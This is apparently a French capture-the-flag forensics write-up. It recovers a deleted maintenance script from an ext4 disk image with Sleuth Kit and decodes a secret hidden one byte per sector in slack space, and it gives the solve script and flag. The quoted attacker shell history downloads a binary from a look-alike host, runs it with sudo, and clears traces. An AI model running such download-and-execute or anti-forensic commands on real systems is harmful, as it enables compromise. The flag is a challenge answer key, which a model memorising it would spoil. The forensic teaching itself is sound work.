Énoncé (résumé)
Un EDR a signalé une activité suspecte sur backup-srv-03. Un outil de maintenance du collecteur a été supprimé après son exécution, et un secret aurait été caché sur le disque. On fournit l’image disque backup-srv-03.img.gz. Tout est dans l’image, aucun accès réseau n’est nécessaire.
Reconnaissance
backup-srv-03.img(256 Mo, une fois décompressée) contient un système de fichiers ext4 brut, sans table de partitions. UUIDe45cf08f-1459-4019-800f-45846f787d90, blocs de 4096 octets.fls -r -pmontre un seul fichier supprimé :r/r * 276: opt/collector/.maint/cache-synchome/dev/.bash_historyretrace l’attaque :curl -sf https://cdn.update.wind0ws.net/agent -o /tmp/svc sudo /tmp/svc --self-test --out /var/tmp/.cache/blob.enc python3 /opt/collector/tools/agent_builder.py ... --out /var/tmp/.cache/relay.pkg sudo /opt/collector/.maint/cache-sync --resume sudo rm -f /opt/collector/.maint/cache-sync history -cblob.enc,relay.pkget les fichiers.chken surnombre sont des leurres.
Point clé
L’inode 276 n’est plus alloué, mais son extent (bloc 12502) n’a pas été écrasé. On récupère donc le fichier intact avec icat. C’est un script bash qui ne fait rien (exit 0), mais ses commentaires sont la spécification complète du format « resume-v2 » qui a servi à disperser le secret. Le secret est réparti un octet par secteur, dans des secteurs non utilisés de l’image (slack et espace libre), d’où le titre « Between Two Spaces ».
Spécification résumée :
- STATE =
/var/lib/collector/.state/last.chk, 24 octets<4s4s8sI4s>: magicRST2| localisateur masqué | nonce | inode de STATE (268) | tag =SHA256(state[0:20])[0:4]. locator-mask = SHA256(machine-id + ":resume-v2")[0:4], puistable_lba = u32le(state[4:8] XOR mask).- À
image[table_lba*512]se trouve l’index :"RSV2" | count:u8 | entry_size:u8 (=7), puiscountentrées<BIH>(pos, lba, crc). Le CRC est un CRC-16/CCITT-FALSE calculé sur les 5 premiers octets de l’entrée (binascii.crc_hqx(e[:5], 0xffff)). - Pour chaque entrée :
ctx = "<fs_uuid>:<inode>:<table_lba>:<nonce_hex>:cache-sync/3.4:<pos>"plain[pos] = image[lba*512] XOR SHA256(ctx)[0]
Exploitation (reproductible)
gunzip -k files/backup-srv-03.img.gz
brew install sleuthkit
fls -r -p files/backup-srv-03.img | grep '\*' # fichier supprimé : inode 276
icat files/backup-srv-03.img 276 > files/cache-sync.bin # script avec la spec
mkdir files/rec && tsk_recover -e files/backup-srv-03.img files/rec
python3 -I solve.py
Sortie :
24 b'RST2' 268 True
b'BA26{sl4ck_Sp4ce}'
Le tag d’intégrité de STATE est valide, l’inode lu dans STATE (268) correspond bien à last.chk, et tous les CRC des entrées sont corrects.
Script final
solve.py :
import struct, hashlib, binascii
img = open('files/backup-srv-03.img','rb').read()
state = open('files/rec/var/lib/collector/.state/last.chk','rb').read()
mid = open('files/rec/etc/machine-id','rb').read().rstrip(b'\r\n')
fs_uuid = 'e45cf08f-1459-4019-800f-45846f787d90'
H = lambda b: hashlib.sha256(b).digest()
magic, mloc, nonce, ino, tag = struct.unpack('<4s4s8sI4s', state)
print(len(state), magic, ino, tag == H(state[:20])[:4])
mask = H(mid + b':resume-v2')[:4]
lba_t = struct.unpack('<I', bytes(a^b for a,b in zip(mloc,mask)))[0]
t = img[lba_t*512:]
assert t[:4]==b'RSV2'
cnt, es = t[4], t[5]
out = {}
for i in range(cnt):
e = t[6+i*es:6+(i+1)*es]
pos, lba, crc = struct.unpack('<BIH', e)
assert binascii.crc_hqx(e[:5],0xffff)==crc
ctx = f'{fs_uuid}:{ino}:{lba_t}:{nonce.hex()}:cache-sync/3.4:{pos}'.encode()
out[pos] = img[lba*512] ^ H(ctx)[0]
print(bytes(out[i] for i in range(cnt)))Code
import struct, hashlib, binascii, sys
img = open('files/backup-srv-03.img','rb').read()
state = open('files/rec/var/lib/collector/.state/last.chk','rb').read()
mid = open('files/rec/etc/machine-id','rb').read().rstrip(b'\r\n')
fs_uuid = 'e45cf08f-1459-4019-800f-45846f787d90'
H = lambda b: hashlib.sha256(b).digest()
magic, mloc, nonce, ino, tag = struct.unpack('<4s4s8sI4s', state)
print(len(state), magic, ino, tag == H(state[:20])[:4])
mask = H(mid + b':resume-v2')[:4]
lba_t = struct.unpack('<I', bytes(a^b for a,b in zip(mloc,mask)))[0]
t = img[lba_t*512:]
assert t[:4]==b'RSV2', t[:8]
cnt, es = t[4], t[5]
out = {}
for i in range(cnt):
e = t[6+i*es:6+(i+1)*es]
pos, lba, crc = struct.unpack('<BIH', e)
assert binascii.crc_hqx(e[:5],0xffff)==crc, i
ctx = f'{fs_uuid}:{ino}:{lba_t}:{nonce.hex()}:cache-sync/3.4:{pos}'.encode()
out[pos] = img[lba*512] ^ H(ctx)[0]
print(bytes(out[i] for i in range(cnt)))